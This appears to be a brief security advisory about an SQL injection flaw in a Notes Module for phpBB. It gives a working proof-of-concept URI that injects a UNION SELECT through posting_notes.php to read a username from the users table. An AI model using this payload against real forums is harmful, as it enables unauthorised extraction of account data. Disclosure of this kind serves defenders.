|
Notes Module for PHPBB SQL Injection Vulnerability
No exploit is required. The following proof of concept URI is available: http://www.example.com/posting_notes.php?mode=editpost&p=-99%20UNION%20SELECT%200,0,username,0,0,0,0,0,0%20FROM%20orionphpbb_users%20WHERE%20user_id=2/* |
|
 Privacy Statement |
